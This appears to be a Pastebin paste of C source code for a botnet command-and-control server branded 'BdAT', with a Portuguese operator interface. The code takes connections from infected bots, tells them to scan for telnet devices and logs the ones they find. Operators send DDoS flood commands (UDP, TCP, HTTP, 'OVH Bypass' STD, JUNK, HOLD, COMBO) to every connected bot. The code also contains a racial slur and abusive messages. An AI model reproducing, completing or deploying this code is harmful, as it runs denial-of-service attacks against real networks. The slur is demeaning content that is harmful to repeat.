Advertisement
Guest User

Untitled

a guest
Jul 16th, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.63 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20. char username[20];
  21. char password[20];
  22. };
  23. static struct login_info accounts[22];
  24. struct clientdata_t {
  25. uint32_t ip;
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32. int sock;
  33. struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  78. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  79. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. printf("sent to fd: %d\n", i);
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mBdAT: ", 13, MSG_NOSIGNAL);
  130. else send(i, "\n", 1, MSG_NOSIGNAL);
  131. }
  132. free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135. struct epoll_event event;
  136. struct epoll_event *events;
  137. int s;
  138. events = calloc (MAXFDS, sizeof event);
  139. while (1) {
  140. int n, i;
  141. n = epoll_wait (epollFD, events, MAXFDS, -1);
  142. for (i = 0; i < n; i++) {
  143. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144. clients[events[i].data.fd].connected = 0;
  145. close(events[i].data.fd);
  146. continue;
  147. }
  148. else if (listenFD == events[i].data.fd) {
  149. while (1) {
  150. struct sockaddr in_addr;
  151. socklen_t in_len;
  152. int infd, ipIndex;
  153.  
  154. in_len = sizeof in_addr;
  155. infd = accept (listenFD, &in_addr, &in_len);
  156. if (infd == -1) {
  157. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158. else {
  159. perror ("accept");
  160. break;
  161. }
  162. }
  163.  
  164. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165. int dup = 0;
  166. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168. if(clients[ipIndex].ip == clients[infd].ip) {
  169. dup = 1;
  170. break;
  171. }}
  172. if(dup) {
  173. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174. close(infd);
  175. continue;
  176. }
  177. s = make_socket_non_blocking (infd);
  178. if (s == -1) { close(infd); break; }
  179. event.data.fd = infd;
  180. event.events = EPOLLIN | EPOLLET;
  181. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182. if (s == -1) {
  183. perror ("epoll_ctl");
  184. close(infd);
  185. break;
  186. }
  187. clients[infd].connected = 1;
  188. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  189. }
  190. continue;
  191. }
  192. else {
  193. int datafd = events[i].data.fd;
  194. struct clientdata_t *client = &(clients[datafd]);
  195. int done = 0;
  196. client->connected = 1;
  197. while (1) {
  198. ssize_t count;
  199. char buf[2048];
  200. memset(buf, 0, sizeof buf);
  201. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  202. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  203. trim(buf);
  204. if(strcmp(buf, "PING") == 0) {
  205. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  206. continue;
  207. }
  208. if(strstr(buf, "REPORT ") == buf) {
  209. char *line = strstr(buf, "REPORT ") + 7;
  210. fprintf(telFD, "%s\n", line);
  211. fflush(telFD);
  212. TELFound++;
  213. continue;
  214. }
  215. if(strstr(buf, "PROBING") == buf) {
  216. char *line = strstr(buf, "PROBING");
  217. scannerreport = 1;
  218. continue;
  219. }
  220. if(strstr(buf, "REMOVING PROBE") == buf) {
  221. char *line = strstr(buf, "REMOVING PROBE");
  222. scannerreport = 0;
  223. continue;
  224. }
  225. if(strcmp(buf, "PONG") == 0) {
  226. continue;
  227. }
  228. printf("buf: \"%s\"\n", buf);
  229. }
  230. if (count == -1) {
  231. if (errno != EAGAIN) {
  232. done = 1;
  233. }
  234. break;
  235. }
  236. else if (count == 0) {
  237. done = 1;
  238. break;
  239. }
  240. if (done) {
  241. client->connected = 0;
  242. close(datafd);
  243. }
  244. }
  245. }
  246. }
  247. }
  248. }
  249. unsigned int BotsConnected() {
  250. int i = 0, total = 0;
  251. for(i = 0; i < MAXFDS; i++) {
  252. if(!clients[i].connected) continue;
  253. total++;
  254. }
  255. return total;
  256. }
  257. void *TitleWriter(void *sock) {
  258. int datafd = (int)sock;
  259. char string[2048];
  260. while(1) {
  261. memset(string, 0, 2048);
  262. sprintf(string, "%c]0;Soldados: %d | Comandantes: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  263. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  264. sleep(2);
  265. }}
  266. int Find_Login(char *str) {
  267. FILE *fp;
  268. int line_num = 0;
  269. int find_result = 0, find_line=0;
  270. char temp[512];
  271.  
  272. if((fp = fopen("login.txt", "r")) == NULL){
  273. return(-1);
  274. }
  275. while(fgets(temp, 512, fp) != NULL){
  276. if((strstr(temp, str)) != NULL){
  277. find_result++;
  278. find_line = line_num;
  279. }
  280. line_num++;
  281. }
  282. if(fp)
  283. fclose(fp);
  284. if(find_result == 0)return 0;
  285. return find_line;
  286. }
  287. void *BotWorker(void *sock) {
  288. int datafd = (int)sock;
  289. int find_line;
  290. OperatorsConnected++;
  291. pthread_t title;
  292. char buf[2048];
  293. char* username;
  294. char* password;
  295. memset(buf, 0, sizeof buf);
  296. char botnet[2048];
  297. memset(botnet, 0, 2048);
  298.  
  299. FILE *fp;
  300. int i=0;
  301. int c;
  302. fp=fopen("login.txt", "r");
  303. while(!feof(fp)) {
  304. c=fgetc(fp);
  305. ++i;
  306. }
  307. int j=0;
  308. rewind(fp);
  309. while(j!=i-1) {
  310. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311. ++j;
  312. }
  313.  
  314. if(send(datafd, "\x1b[37mUsario: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  315. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316. trim(buf);
  317. char* nickstring;
  318. sprintf(accounts[find_line].username, buf);
  319. nickstring = ("%s", buf);
  320. find_line = Find_Login(nickstring);
  321. if(strcmp(nickstring, accounts[find_line].username) == 0){
  322. if(send(datafd, "\x1b[37mSenha: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  323. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324. trim(buf);
  325. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326. memset(buf, 0, 2048);
  327. goto Banner;
  328. }
  329. failed:
  330. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  331. char failed_line1[80];
  332.  
  333. sprintf(failed_line1, "\x1b[36mWRONG ANSWER BITCH!!\r\n");
  334. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  335. sleep(5);
  336. goto end;
  337.  
  338. Banner:
  339. pthread_create(&title, NULL, &TitleWriter, sock);
  340. char ascii_banner_line1 [5000];
  341. char ascii_banner_line2 [5000];
  342. char ascii_banner_line3 [5000];
  343. char ascii_banner_line4 [5000];
  344. char ascii_banner_line5 [5000];
  345. char ascii_banner_line6 [5000];
  346. char ascii_banner_line7 [5000];
  347. char ascii_banner_line8 [5000];
  348. char ascii_banner_line9 [5000];
  349. char welcome_line [80];
  350. char banner_bot_count [2048];
  351. memset(banner_bot_count, 0, 2048);
  352.  
  353. sprintf(ascii_banner_line1, "\x1b[36m █████╗ ████████╗██╗██████╗ █████╗ \r\n");
  354. sprintf(ascii_banner_line2, "\x1b[36m ██╔══██╗╚══██╔══╝██║██╔══██╗██╔══██╗\r\n");
  355. sprintf(ascii_banner_line3, "\x1b[36m ███████║ ██║ ██║██████╔╝███████║\r\n");
  356. sprintf(ascii_banner_line4, "\x1b[36m ██╔══██║ ██║ ██║██╔══██╗██╔══██║\r\n");
  357. sprintf(ascii_banner_line5, "\x1b[36m ██║ ██║ ██║ ██║██║ ██║██║ ██║\r\n");
  358. sprintf(ascii_banner_line6, "\x1b[36m ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝\r\n");
  359. sprintf(ascii_banner_line7, "\x1b[36m BdAT - Batalhão do Atiralol\r\n");
  360. sprintf(ascii_banner_line8, "\r\n");
  361. sprintf(welcome_line, "\x1b[37m #\x1b[36m----- \x1b[37mQuantidade de Bots: %d\x1b[36m -----\x1b[37m#\r\n", BotsConnected(), OperatorsConnected);
  362. sprintf(banner_bot_count, "\r\n\x1b[37m #\x1b[36m-------- \x1b[37mBem-Vindo, %s\x1b[36m --------\x1b[37m#\r\n", accounts[find_line].username);
  363.  
  364. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  365. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  366. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  367. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  368. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  369. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  370. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  371. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  373. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  375. while(1) {
  376. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  377. if(send(datafd, "\x1b[37mBdAT: ", 12, MSG_NOSIGNAL) == -1) goto end;
  378. break;
  379. }
  380. pthread_create(&title, NULL, &TitleWriter, sock);
  381. managements[datafd].connected = 1;
  382.  
  383. while(fdgets(buf, sizeof buf, datafd) > 0)
  384. {
  385. if(strstr(buf, "BOTS")) {
  386. char botcount [2048];
  387. memset(botcount, 0, 2048);
  388. sprintf(botcount, "[+] - Soldados: [\x1b[36m %d \x1b[37m] [+] - Comandantes: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  389. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  390. if(send(datafd, "\x1b[37mBdAT: ", 12, MSG_NOSIGNAL) == -1) goto end;
  391. continue;
  392. }
  393. if(strstr(buf, "STATUS")){
  394. char statuscount [2048];
  395. memset(statuscount, 0, 2048);
  396. sprintf(statuscount, "[+] - Dispositivos: [\x1b[36m %d \x1b[37m] [+] - Status: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport);
  397. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  398. if(send(datafd, "\x1b[37mBdATT: ", 12, MSG_NOSIGNAL) == -1) goto end;
  399. continue;
  400. }
  401. if(strstr(buf, "HELP")) {
  402. pthread_create(&title, NULL, &TitleWriter, sock);
  403. char helpline1 [80];
  404. char helpline2 [80];
  405. char helpline3 [80];
  406. char helpline4 [80];
  407. char helpline5 [80];
  408. char helpline6 [80];
  409. char helpline7 [80];
  410. char helpline9 [80];
  411. char helpline11 [80];
  412. char helpline12 [80];
  413. char helpline13 [80];
  414. char helpline14 [80];
  415.  
  416. sprintf(helpline1, " \r\n\x1b[37m#--- \x1b[36mCOMMANDS \x1b[37m---#\r\n\r\n");
  417. sprintf(helpline2, " \x1b[37m- Métodos de Attack - \x1b[36mMETODOS\r\n");
  418. sprintf(helpline7, " \x1b[37m- Parar Attacks - \x1b[36mKILL\r\n");
  419. sprintf(helpline9, " \x1b[37m- Quantidade de Bots - \x1b[36mBOTS\r\n");
  420. sprintf(helpline11, " \x1b[37m- Limpar Tela - \x1b[36mCLEAR\r\n");
  421. sprintf(helpline12, " \x1b[37m- LOGOUT - \x1b[36mLOGOUT\r\n");
  422. sprintf(helpline13, " \x1b[37m- Termos de Uso - \x1b[36mTOS\r\n");
  423. sprintf(helpline14, " \r\n");
  424.  
  425. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  426. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  427. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  428. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  437. pthread_create(&title, NULL, &TitleWriter, sock);
  438. if(send(datafd, "\x1b[37mBdAT: ", 12, MSG_NOSIGNAL) == -1) goto end;
  439. continue;
  440. }
  441. if(strstr(buf, "METODOS")) {
  442. pthread_create(&title, NULL, &TitleWriter, sock);
  443. char ls1 [80];
  444. char ls2 [80];
  445. char ls3 [80];
  446. char ls4 [80];
  447. char ls5 [80];
  448. char ls6 [80];
  449. char ls7 [80];
  450. char ls8 [80];
  451. char ls9 [80];
  452.  
  453. sprintf(ls1, " \r\n\x1b[37m#--- \x1b[36mMETODOS \x1b[37m---#\r\n\r\n");
  454. sprintf(ls2, " \x1b[37m- STD(OVH Bypass) - \x1b[36m!* STD IP Porta Tempo Pacotes(max 65535)\r\n");
  455. sprintf(ls3, " \x1b[37m- UDP - \x1b[36m!* UDP IP Porta Tempo 32 0 10\r\n");
  456. sprintf(ls4, " \x1b[37m- TCP - \x1b[36m!* TCP IP Porta Tempo 32 all 0 10\r\n");
  457. sprintf(ls5, " \x1b[37m- HTTP - \x1b[36m!* HTTP Url Tempo\r\n");
  458. sprintf(ls6, " \x1b[37m- CNC - \x1b[36m!* CNC IP Porta Tempo\r\n");
  459. sprintf(ls7, " \x1b[37m- JUNK - \x1b[36m!* JUNK IP Porta Tempo\r\n");
  460. sprintf(ls8, " \x1b[37m- HOLD - \x1b[36m!* HOLD IP Porta Tempo\r\n");
  461. sprintf(ls9, " \x1b[37m- COMBO(STD,JUNK,HOLD) - \x1b[36m!* COMBO IP Porta Tempo\r\n");
  462.  
  463. if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
  464. if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
  465. if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(datafd, ls6, strlen(ls6), MSG_NOSIGNAL) == -1) goto end;
  469. if(send(datafd, ls7, strlen(ls7), MSG_NOSIGNAL) == -1) goto end;
  470. if(send(datafd, ls8, strlen(ls8), MSG_NOSIGNAL) == -1) goto end;
  471. if(send(datafd, ls9, strlen(ls9), MSG_NOSIGNAL) == -1) goto end;
  472.  
  473. pthread_create(&title, NULL, &TitleWriter, sock);
  474. if(send(datafd, "\x1b[37mBdAT: ", 12, MSG_NOSIGNAL) == -1) goto end;
  475. continue;
  476. }
  477.  
  478. if(strstr(buf, "KILL")) {
  479. char killattack [2048];
  480. memset(killattack, 0, 2048);
  481. sprintf(killattack, "!* KILLATTK\r\n");
  482. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  483. if(send(datafd, "\x1b[37mBdAT: ", 12, MSG_NOSIGNAL) == -1) goto end;
  484. continue;
  485. }
  486. if(strstr(buf, "CLEAR")) {
  487. char clearscreen [2048];
  488. memset(clearscreen, 0, 2048);
  489. sprintf(clearscreen, "\033[2J\033[1;1H");
  490. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  491. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  493. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  494. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  495. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  499. while(1) {
  500. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  501. if(send(datafd, "\x1b[37mBdAT: ", 12, MSG_NOSIGNAL) == -1) goto end;
  502. break;
  503. }
  504. continue;
  505. }
  506. if(strstr(buf, "TOS")) {
  507. pthread_create(&title, NULL, &TitleWriter, sock);
  508. char tos1 [80];
  509. sprintf(tos1, "\r\n\x1b[36mRegras: \x1b[37mNão Abuse dos Attacks da Botnet !! Punição: Ban Permanente");
  510.  
  511. if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
  512. pthread_create(&title, NULL, &TitleWriter, sock);
  513. if(send(datafd, "\x1b[37mBdAT: ", 12, MSG_NOSIGNAL) == -1) goto end;
  514. continue;
  515.  
  516. }
  517.  
  518. if(strstr(buf, "LOGOUT")) {
  519. char logoutmessage [2048];
  520. memset(logoutmessage, 0, 2048);
  521. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  522. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  523. sleep(5);
  524. goto end;
  525. }
  526. trim(buf);
  527. if(send(datafd, "\x1b[37mBdAT: ", 11, MSG_NOSIGNAL) == -1) goto end;
  528. if(strlen(buf) == 0) continue;
  529. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  530.  
  531. FILE *LogFile;
  532. LogFile = fopen("server.log", "a");
  533. time_t now;
  534. struct tm *gmt;
  535. char formatted_gmt [50];
  536. char lcltime[50];
  537. now = time(NULL);
  538. gmt = gmtime(&now);
  539. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  540. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  541. fclose(LogFile);
  542. broadcast(buf, datafd, accounts[find_line].username);
  543. memset(buf, 0, 2048);
  544. }
  545. end:
  546. managements[datafd].connected = 0;
  547. close(datafd);
  548. OperatorsConnected--;
  549. }
  550. void *BotListener(int port) {
  551. int sockfd, newsockfd;
  552. socklen_t clilen;
  553. struct sockaddr_in serv_addr, cli_addr;
  554. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  555. if (sockfd < 0) perror("ERROR opening socket");
  556. bzero((char *) &serv_addr, sizeof(serv_addr));
  557. serv_addr.sin_family = AF_INET;
  558. serv_addr.sin_addr.s_addr = INADDR_ANY;
  559. serv_addr.sin_port = htons(port);
  560. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  561. listen(sockfd,5);
  562. clilen = sizeof(cli_addr);
  563. while(1) {
  564. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  565. if (newsockfd < 0) perror("ERROR on accept");
  566. pthread_t thread;
  567. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  568. }}
  569. int main (int argc, char *argv[], void *sock)
  570. {
  571. signal(SIGPIPE, SIG_IGN);
  572. int s, threads, port;
  573. struct epoll_event event;
  574. if (argc != 4) {
  575. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  576. exit (EXIT_FAILURE);
  577. }
  578. port = atoi(argv[3]);
  579. telFD = fopen("telnet.txt", "a+");
  580. threads = atoi(argv[2]);
  581. listenFD = create_and_bind (argv[1]);
  582. if (listenFD == -1) abort ();
  583. s = make_socket_non_blocking (listenFD);
  584. if (s == -1) abort ();
  585. s = listen (listenFD, SOMAXCONN);
  586. if (s == -1) {
  587. perror ("listen");
  588. abort ();
  589. }
  590. epollFD = epoll_create1 (0);
  591. if (epollFD == -1) {
  592. perror ("epoll_create");
  593. abort ();
  594. }
  595. event.data.fd = listenFD;
  596. event.events = EPOLLIN | EPOLLET;
  597. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  598. if (s == -1) {
  599. perror ("epoll_ctl");
  600. abort ();
  601. }
  602. pthread_t thread[threads + 2];
  603. while(threads--) {
  604. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  605. }
  606. pthread_create(&thread[0], NULL, &BotListener, port);
  607. while(1) {
  608. broadcast("PING", -1, "NIGGER");
  609. sleep(60);
  610. }
  611. close (listenFD);
  612. return EXIT_SUCCESS;
  613. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement